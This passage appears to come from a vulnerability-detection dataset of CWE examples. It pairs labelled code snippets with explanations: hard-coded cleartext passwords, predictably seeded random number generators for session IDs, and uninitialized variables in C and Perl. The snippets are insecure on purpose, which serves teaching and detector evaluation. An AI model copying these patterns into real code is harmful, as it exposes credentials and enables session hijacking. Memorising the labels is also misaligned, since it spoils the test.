    }
  ],
  "cwe_id": "CWE-798",
  "example_id": "3",
  "explanation": "The following code examples attempt to verify a password using a hard-coded cryptographic key.The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system."
}
{
  "source": [
    "# Java Web App ResourceBundle properties file\n...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...",
    "...<connectionStrings><add name=\"ud_DEV\" connectionString=\"connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;\" providerName=\"System.Data.Odbc\" /></connectionStrings>..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "ASP.NET"
    }
  ],
  "cwe_id": "CWE-798",
  "example_id": "4",
  "explanation": "The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.This Java example shows a properties file with a cleartext username / password pair.The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-798",
  "example_id": "5",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used hard-coded credentials in their OT products."
}
{
  "source": [
    "function generateSessionID($userID){srand($userID);return rand();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-330",
  "example_id": "1",
  "explanation": "This code attempts to generate a unique random identifier for a user's session.Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.This example also exhibits a Small Seed Space (CWE-339)."
}
{
  "source": [
    "String GenerateReceiptURL(String baseUrl) {Random ranGen = new Random();ranGen.setSeed((new Date()).getTime());return(baseUrl + ranGen.nextInt(400000000) + \".html\");}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-330",
  "example_id": "2",
  "explanation": "The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.This code uses the Random.nextInt() function to generate \"unique\" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG."
}
{
  "source": [
    "private boolean initialized = true;public void someMethod() {\nif (!initialized) {\n\n\n// perform initialization tasks\n...\ninitialized = true;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-908",
  "example_id": "1",
  "explanation": "Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached."
}
{
  "source": [
    "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {$uid = ExtractUserID($state);}\n\n# do stuff\nif ($uid == 0) {DoAdminThings();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-908",
  "example_id": "2",
  "explanation": "The following code intends to limit certain operations to the administrator only.If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."
}
{
  "source": [
    "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-908",
  "example_id": "3",
  "explanation": "The following code intends to concatenate a string to a variable and print the string.This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found. If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."
}
{
  "source": [
    "char *test_string;\n                if (i != err_val)\n                {\ntest_string = \"Hello World!\";\n                }\n                printf(\"%s\", test_string);",
    "char *test_string = \"Done at the beginning\";\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\ntest_string = \"Hello World!\";\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);",
    "char *test_string;\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\ntest_string = \"Hello World!\";\n\t\t\t\t}\n\t\t\t\telse {\ntest_string = \"Done on the other side!\";\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-908",
  "example_id": "4",
  "explanation": "This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address. When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457). \n\n\t\t\t  To fix this code, there are a couple approaches to\n\t\t\t  making sure that test_string has been properly set once\n\t\t\t  it reaches the printf().\nOne solution would be to set test_string to an\n\t\t\t  acceptable default before the conditional:\nAnother solution is to ensure that each\n\t\t\t  branch of the conditional - including the default/else\n\t\t\t  branch - could ensure that test_string is set:"
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-640",
  "example_id": "1",
  "explanation": "A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction."
}